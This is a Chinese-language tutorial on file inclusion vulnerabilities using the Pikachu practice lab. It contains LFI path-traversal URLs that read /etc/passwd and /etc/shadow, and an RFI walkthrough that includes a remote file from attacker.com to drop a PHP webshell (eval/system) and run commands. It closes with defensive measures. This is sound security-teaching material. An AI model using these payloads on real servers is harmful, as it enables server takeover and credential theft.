Pikachu靶场-File Inclusion
字数 1247 2025-08-11 21:26:33
文件包含漏洞(File Inclusion)详解与实战教学
1. 文件包含漏洞概述
文件包含是一种常见的编程功能,在各种开发语言中都提供了内置的文件包含函数,允许开发人员在一个代码文件中直接包含(引入)另外一个代码文件。
PHP中的文件包含函数
include()include_once()require()require_once()
安全风险:当文件包含函数中包含的代码文件是固定时,通常不会出现安全问题。但如果文件路径被写成一个可由前端用户控制的变量,且没有足够的安全措施,就可能引发文件包含漏洞。
2. 文件包含漏洞分类
2.1 本地文件包含漏洞(Local File Inclusion, LFI)
特点:
- 仅能包含服务器本地的文件
- 攻击者通常尝试包含系统配置文件读取敏感信息
- 常与文件上传漏洞结合使用,形成更大威胁
示例攻击:
http://x.x.x.x/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/phpinfo.php&submit=提交
2.2 远程文件包含漏洞(Remote File Inclusion, RFI)
特点:
- 能够通过URL地址包含远程文件
- 攻击者可传入任意恶意代码
- 危害性极大
必要条件:
- PHP配置中
allow_url_include和allow_url_fopen选项开启 - 所包含的远程文件后缀不能与目标服务器语言相同(如PHP服务器不能包含.php文件)
3. 漏洞利用技术
3.1 本地文件包含利用
-
读取系统敏感文件:
/etc/passwd /etc/shadow /var/log/apache2/access.log -
结合文件上传漏洞:
- 上传恶意文件到服务器
- 通过LFI包含执行上传的文件
3.2 远程文件包含利用
攻击步骤:
- 在攻击者服务器上创建恶意文本文件(如hack.txt):
<?php
$myfile = fopen("hack.php", "w");
$txt = '<?php @eval($_POST["hack"]); ?>';
fwrite($myfile, $txt);
fclose($myfile);
?>
- 通过目标网站的RFI漏洞包含该文件:
http://target.com/vul/fileinclude.php?filename=http://attacker.com/hack.txt
- 服务器会生成webshell文件(hack.php),攻击者可通过该文件控制系统:
http://target.com/vul/fileinclude/hack.php?hack=执行的命令
变种攻击:
<?php
$myfile = fopen("hack.php", "w");
$txt = '<?php system($_GET["hack"]); ?>';
fwrite($myfile, $txt);
fclose($myfile);
?>
通过URL直接执行命令:
http://127.0.0.1/pikachu-master/vul/fileinclude/hack.php?hack=pwd
4. 防御措施
-
避免动态包含:尽量不要让前端用户直接控制包含的文件路径
-
白名单过滤:如果必须使用动态包含,实施严格的白名单策略
-
关闭危险配置:
- 关闭
allow_url_include - 关闭
allow_url_fopen
- 关闭
-
文件路径固定:尽可能使用固定的文件包含路径
-
权限控制:限制Web服务器的文件系统访问权限
-
输入验证:对所有用户输入进行严格验证和过滤
5. 实战演示
5.1 本地文件包含实战
- 正常功能:包含file1.php
- 尝试包含系统文件:
?filename=../../../../etc/passwd - 结合上传漏洞:上传phpinfo.php后包含
5.2 远程文件包含实战
- 确认服务器配置允许远程包含
- 准备远程恶意文件(hack.txt)
- 通过参数包含远程文件
- 验证生成的webshell
- 通过webshell执行系统命令
6. 总结
文件包含漏洞是一种高危漏洞,特别是远程文件包含可以直接导致服务器被完全控制。开发人员应避免使用动态文件包含,或至少实施严格的安全措施。安全人员测试时应重点关注所有用户可控的文件包含点,验证是否存在LFI/RFI漏洞。